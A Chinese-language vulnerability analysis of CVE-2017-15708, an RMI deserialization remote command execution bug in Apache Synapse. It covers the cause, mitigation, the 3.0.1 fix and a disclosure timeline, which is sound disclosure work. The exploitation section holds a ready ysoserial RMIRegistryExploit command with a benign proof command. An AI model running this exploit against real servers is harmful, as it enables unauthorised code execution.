[CVE-2017-15708]Apache Synapse远程命令执行漏洞分析

  • A+
所属分类:javasec_cn
摘要

**0X00 介绍**Apache Synapse是一种轻量级的高性能企业服务总线(ESB)。Apache Synapse由快速和异步的中介引擎提供支持,为XML、Web服务和REST提供了卓越的支持。
**0X01 分析** 我们知道,完成反序列化漏洞需要存在两个条件:

**0X00 介绍**

Apache Synapse是一种轻量级的高性能企业服务总线(ESB)。Apache Synapse由快速和异步的中介引擎提供支持,为XML、Web服务和REST提供了卓越的支持。
**0X01 分析** 我们知道,完成反序列化漏洞需要存在两个条件:

  • 存在反序列化对象数据传输
  • 有缺陷的第三方lib库,例如Apache Commons Collections

在FoxGlove Security安全团队的@breenmachine的博文中,总结了非常全面可能使用反序列化的地方:
在HTTP请求中

  • RMI,RMI在传输过程中一定会使用序列化和反序列化
  • 基于HTTP的RMI,同样100%使用序列化对象
  • JMX
  • 自定义协议

由于Synapse业务功能的特殊性,默认启动并使用了RMI:
[CVE-2017-15708]Apache Synapse远程命令执行漏洞分析
[CVE-2017-15708]Apache Synapse远程命令执行漏洞分析
现在我们知道,服务启动了RMI,并且默认绑定到0.0.0.0中,完成反序列化漏洞的2个条件之一已经完成。
RMI在传输过程中,必然存在使用序列化和反序列化。在Apache Synapse 3.0.1之前的版本中,默认使用Apache Commons Collections库。
[CVE-2017-15708]Apache Synapse远程命令执行漏洞分析
[CVE-2017-15708]Apache Synapse远程命令执行漏洞分析
[CVE-2017-15708]Apache Synapse远程命令执行漏洞分析
在Apache Commons Collections小于等于3.2.1版本中,存在反序列化漏洞, Commons Collections漏洞成因本文不再重复累赘。
**0X02 利用** 由于攻击的两个条件目前我们已经达成,编写payload:
构造恶意Transformer链:
[CVE-2017-15708]Apache Synapse远程命令执行漏洞分析
生成Payload,发送RMI反序列数据:
[CVE-2017-15708]Apache Synapse远程命令执行漏洞分析
运行结果:
[CVE-2017-15708]Apache Synapse远程命令执行漏洞分析
在ysoserial工具中也集成了CommonsCollections的Payload:

java -cp ysoserial-master-v0.0.5-gb617b7b-16.jar ysoserial.exploit.RMIRegistryExploit 192.168.197.25 1099 CommonsCollections1  "touch /tmp/apache_synapse" 

**0X03 缓解** 删除掉项目Apache Commons Collections中的org/apache/commons/collections/functors/InvokerTransformer.class文件
**0X04 修复** 升级到官方提供的最新版本Apache Synapse 3.0.1
时间轴
2017-11-10 发现漏洞
2017-11-13 报告漏洞
2017-12-05 官方发布3.0.1修复漏洞,赋予漏洞CVE-2017-15708
2017-12-11 对外公开漏洞
参考链接
http://www.openwall.com/lists/oss-security/2017/12/10/4
http://synapse.apache.org/download/3.0.1/download.cgi
http://synapse.apache.org/index.html

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: